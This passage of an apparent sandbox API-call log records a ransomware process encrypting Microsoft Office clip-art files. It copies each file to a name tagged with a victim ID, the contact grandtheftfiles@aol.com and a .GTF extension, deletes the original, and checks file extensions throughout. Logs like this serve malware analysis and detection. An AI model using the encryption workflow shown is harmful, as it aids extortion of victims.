	[0179.777] ReadFile (in: hFile=0x548, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x1ae8, lpOverlapped=0x0) returned 1
	[0179.800] WriteFile (in: hFile=0x53c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x1af0, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x1af0, lpOverlapped=0x0) returned 1
	[0179.801] ReadFile (in: hFile=0x548, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.801] WriteFile (in: hFile=0x53c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0179.801] SetEndOfFile (hFile=0x53c) returned 1
	[0179.801] CloseHandle (hObject=0x53c) returned 1
	[0179.801] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.801] SetEndOfFile (hFile=0x548) returned 1
	[0179.808] CloseHandle (hObject=0x548) returned 1
	[0179.809] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.811] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171847.wmf")) returned 1
	[0179.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF") returned 68
	[0179.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF") returned 68
	[0179.815] lstrlenW (lpString=".doc") returned 4
	[0179.815] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.815] lstrlenW (lpString=".docx") returned 5
	[0179.815] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0179.815] lstrlenW (lpString=".pdf") returned 4
	[0179.815] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.815] lstrlenW (lpString=".xls") returned 4
	[0179.815] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.815] lstrlenW (lpString=".xlsx") returned 5
	[0179.815] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0179.815] lstrlenW (lpString=".ppt") returned 4
	[0179.815] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF") returned 68
	[0179.816] lstrlenW (lpString=".zip") returned 4
	[0179.816] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.816] lstrlenW (lpString=".rar") returned 4
	[0179.816] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.816] lstrlenW (lpString=".bz2") returned 4
	[0179.816] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.816] lstrlenW (lpString=".7z") returned 3
	[0179.816] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF") returned 68
	[0179.816] lstrlenW (lpString=".dbf") returned 4
	[0179.816] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF") returned 68
	[0179.816] lstrlenW (lpString=".1cd") returned 4
	[0179.816] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF") returned 68
	[0179.816] lstrlenW (lpString=".jpg") returned 4
	[0179.816] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF") returned 68
	[0179.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF") returned 68
	[0179.816] lstrlenW (lpString=".doc") returned 4
	[0179.816] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.816] lstrlenW (lpString=".docx") returned 5
	[0179.816] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0179.816] lstrlenW (lpString=".pdf") returned 4
	[0179.816] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.816] lstrlenW (lpString=".xls") returned 4
	[0179.816] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.816] lstrlenW (lpString=".xlsx") returned 5
	[0179.816] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0179.816] lstrlenW (lpString=".ppt") returned 4
	[0179.816] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF") returned 68
	[0179.816] lstrlenW (lpString=".zip") returned 4
	[0179.816] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.816] lstrlenW (lpString=".rar") returned 4
	[0179.816] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.816] lstrlenW (lpString=".bz2") returned 4
	[0179.817] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.817] lstrlenW (lpString=".7z") returned 3
	[0179.817] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF") returned 68
	[0179.817] lstrlenW (lpString=".dbf") returned 4
	[0179.817] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF") returned 68
	[0179.817] lstrlenW (lpString=".1cd") returned 4
	[0179.817] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF") returned 68
	[0179.817] lstrlenW (lpString=".jpg") returned 4
	[0179.817] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.817] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0179.817] lstrlenW (lpString="J0172067.WMF") returned 12
	[0179.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172067.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0179.826] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=7028) returned 1
	[0179.826] CloseHandle (hObject=0x378) returned 1
	[0179.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172067.wmf")) returned 0x220
	[0179.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172067.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0179.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172067.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0179.828] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.828] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172067.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0179.830] GetLastError () returned 0x0
	[0179.830] ReadFile (in: hFile=0x378, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x1b74, lpOverlapped=0x0) returned 1
	[0179.832] WriteFile (in: hFile=0x52c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x1b80, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x1b80, lpOverlapped=0x0) returned 1
	[0179.833] ReadFile (in: hFile=0x378, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.833] WriteFile (in: hFile=0x52c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0179.833] SetEndOfFile (hFile=0x52c) returned 1
	[0179.833] CloseHandle (hObject=0x52c) returned 1
	[0179.833] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.833] SetEndOfFile (hFile=0x378) returned 1
	[0179.836] CloseHandle (hObject=0x378) returned 1
	[0179.836] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.836] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172067.wmf")) returned 1
	[0179.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF") returned 68
	[0179.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF") returned 68
	[0179.837] lstrlenW (lpString=".doc") returned 4
	[0179.837] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.837] lstrlenW (lpString=".docx") returned 5
	[0179.837] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0179.837] lstrlenW (lpString=".pdf") returned 4
	[0179.837] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.837] lstrlenW (lpString=".xls") returned 4
	[0179.837] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.837] lstrlenW (lpString=".xlsx") returned 5
	[0179.837] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0179.837] lstrlenW (lpString=".ppt") returned 4
	[0179.837] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF") returned 68
	[0179.837] lstrlenW (lpString=".zip") returned 4
	[0179.837] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.837] lstrlenW (lpString=".rar") returned 4
	[0179.837] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.837] lstrlenW (lpString=".bz2") returned 4
	[0179.837] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.837] lstrlenW (lpString=".7z") returned 3
	[0179.837] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF") returned 68
	[0179.837] lstrlenW (lpString=".dbf") returned 4
	[0179.837] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF") returned 68
	[0179.837] lstrlenW (lpString=".1cd") returned 4
	[0179.837] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF") returned 68
	[0179.837] lstrlenW (lpString=".jpg") returned 4
	[0179.837] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF") returned 68
	[0179.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF") returned 68
	[0179.838] lstrlenW (lpString=".doc") returned 4
	[0179.838] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.838] lstrlenW (lpString=".docx") returned 5
	[0179.838] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0179.838] lstrlenW (lpString=".pdf") returned 4
	[0179.838] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.838] lstrlenW (lpString=".xls") returned 4
	[0179.838] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.838] lstrlenW (lpString=".xlsx") returned 5
	[0179.838] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0179.838] lstrlenW (lpString=".ppt") returned 4
	[0179.838] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF") returned 68
	[0179.838] lstrlenW (lpString=".zip") returned 4
	[0179.838] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.838] lstrlenW (lpString=".rar") returned 4
	[0179.838] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.838] lstrlenW (lpString=".bz2") returned 4
	[0179.838] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.838] lstrlenW (lpString=".7z") returned 3
	[0179.838] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF") returned 68
	[0179.838] lstrlenW (lpString=".dbf") returned 4
	[0179.838] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF") returned 68
	[0179.838] lstrlenW (lpString=".1cd") returned 4
	[0179.838] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF") returned 68
	[0179.838] lstrlenW (lpString=".jpg") returned 4
	[0179.838] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.839] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0179.839] lstrlenW (lpString="J0174315.WMF") returned 12
	[0179.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174315.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0179.840] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=5864) returned 1
	[0179.840] CloseHandle (hObject=0x378) returned 1
	[0179.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174315.wmf")) returned 0x220
	[0179.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174315.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0179.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174315.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0179.840] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.840] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174315.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0179.841] GetLastError () returned 0x0
	[0179.841] ReadFile (in: hFile=0x378, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x16e8, lpOverlapped=0x0) returned 1
	[0179.844] WriteFile (in: hFile=0x52c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x16f0, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x16f0, lpOverlapped=0x0) returned 1
	[0179.845] ReadFile (in: hFile=0x378, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.846] WriteFile (in: hFile=0x52c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0179.846] SetEndOfFile (hFile=0x52c) returned 1
	[0179.846] CloseHandle (hObject=0x52c) returned 1
	[0179.846] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.846] SetEndOfFile (hFile=0x378) returned 1
	[0179.848] CloseHandle (hObject=0x378) returned 1
	[0179.848] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.849] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174315.wmf")) returned 1
	[0179.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF") returned 68
	[0179.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF") returned 68
	[0179.849] lstrlenW (lpString=".doc") returned 4
	[0179.849] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.850] lstrlenW (lpString=".docx") returned 5
	[0179.850] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0179.850] lstrlenW (lpString=".pdf") returned 4
	[0179.850] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.850] lstrlenW (lpString=".xls") returned 4
	[0179.850] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.850] lstrlenW (lpString=".xlsx") returned 5
	[0179.850] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0179.850] lstrlenW (lpString=".ppt") returned 4
	[0179.850] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF") returned 68
	[0179.850] lstrlenW (lpString=".zip") returned 4
	[0179.850] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.850] lstrlenW (lpString=".rar") returned 4
	[0179.850] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.850] lstrlenW (lpString=".bz2") returned 4
	[0179.850] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.850] lstrlenW (lpString=".7z") returned 3
	[0179.850] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF") returned 68
	[0179.850] lstrlenW (lpString=".dbf") returned 4
	[0179.850] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF") returned 68
	[0179.850] lstrlenW (lpString=".1cd") returned 4
	[0179.850] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF") returned 68
	[0179.850] lstrlenW (lpString=".jpg") returned 4
	[0179.850] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF") returned 68
	[0179.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF") returned 68
	[0179.850] lstrlenW (lpString=".doc") returned 4
	[0179.850] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.850] lstrlenW (lpString=".docx") returned 5
	[0179.850] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0179.850] lstrlenW (lpString=".pdf") returned 4
	[0179.851] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.851] lstrlenW (lpString=".xls") returned 4
	[0179.851] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.851] lstrlenW (lpString=".xlsx") returned 5
	[0179.851] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0179.851] lstrlenW (lpString=".ppt") returned 4
	[0179.851] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF") returned 68
	[0179.851] lstrlenW (lpString=".zip") returned 4
	[0179.851] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.851] lstrlenW (lpString=".rar") returned 4
	[0179.851] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.851] lstrlenW (lpString=".bz2") returned 4
	[0179.851] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.851] lstrlenW (lpString=".7z") returned 3
	[0179.851] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF") returned 68
	[0179.851] lstrlenW (lpString=".dbf") returned 4
	[0179.851] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF") returned 68
	[0179.851] lstrlenW (lpString=".1cd") returned 4
	[0179.851] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF") returned 68
	[0179.851] lstrlenW (lpString=".jpg") returned 4
	[0179.851] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.851] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0179.851] lstrlenW (lpString="J0174635.WMF") returned 12
	[0179.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174635.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0179.979] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=9736) returned 1
	[0179.979] CloseHandle (hObject=0x554) returned 1
	[0179.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174635.wmf")) returned 0x220
	[0180.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174635.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0180.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174635.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0180.479] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.493] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174635.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0180.494] GetLastError () returned 0x0
